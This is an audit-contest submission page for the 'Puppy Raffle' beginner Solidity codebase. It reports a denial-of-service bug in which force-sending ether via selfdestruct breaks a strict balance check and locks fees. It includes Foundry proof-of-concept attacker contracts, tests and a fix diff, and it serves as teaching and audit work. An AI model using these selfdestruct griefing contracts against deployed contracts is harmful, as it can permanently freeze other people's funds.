Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

[M-1] Strict equality check in withdrawFees allows malicious user to permanently lock protocol fees

alenkte

Summary

The withdrawFees function enforces a strict equality check address(this).balance == totalFees. This logic assumes that the contract balance will only ever contain the exact amount of fees collected. However, an attacker can force Ether into the contract using selfdestruct, causing address(this).balance to be greater than totalFees. This causes the check to fail permanently, making it impossible for the owner to withdraw fees.

Vulnerability Details

The contract attempts to ensure no players are active by checking if the balance matches the accumulated fees exactly:

// @audit-issue Strict equality prevents withdrawal if balance > totalFees
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

While the contract does not have a receive or fallback function to accept plain Ether, a malicious contract can still force Ether into it using the selfdestruct opcode.

  1. Attacker creates a contract with a small amount of ETH (e.g., 1 wei).

  2. Attacker calls selfdestruct(address(puppyRaffle)).

  3. The 1 wei is forced into PuppyRaffle.

  4. address(this).balance becomes totalFees + 1 wei.

  5. The require statement evaluates to false.

Impact

Denial of Service (DoS): The withdrawFees function becomes permanently unusable. The protocol owner cannot access their earnings. The funds remain stuck in the contract forever.

Proof of Concept

This test demonstrates how an attacker can break the withdrawal function by sending just 1 wei.

Click to view Foundry PoC contract SelfDestructAttacker { constructor(address target) payable { // Force sending ETH to target selfdestruct(payable(target)); } }

function test_StrictEqualityDoS() public {
// 1. Setup: 4 players enter, fees are collected
address[] memory players = new address;
players[0] = address(1);
players[1] = address(2);
players[2] = address(3);
players[3] = address(4);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

vm.warp(block.timestamp + duration + 1);
puppyRaffle.selectWinner();

// 2. Verify fees are ready to collect
uint256 expectedFees = (entranceFee * 4 * 20) / 100;
assertEq(puppyRaffle.totalFees(), expectedFees);

// 3. THE ATTACK: Force 1 wei into the contract
// We deploy a contract that immediately self-destructs and sends ETH to PuppyRaffle
new SelfDestructAttacker{value: 1}(address(puppyRaffle));

// 4. Verify balance mismatch
// Balance is now (Fees + 1 wei)
assert(address(puppyRaffle).balance > puppyRaffle.totalFees());

// 5. Attempt to withdraw -> EXPECT REVERT
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();

}

Recommended Mitigation

Remove the strict equality check. The totalFees variable already accurately tracks how much ETH belongs to the owner.

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
// ...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!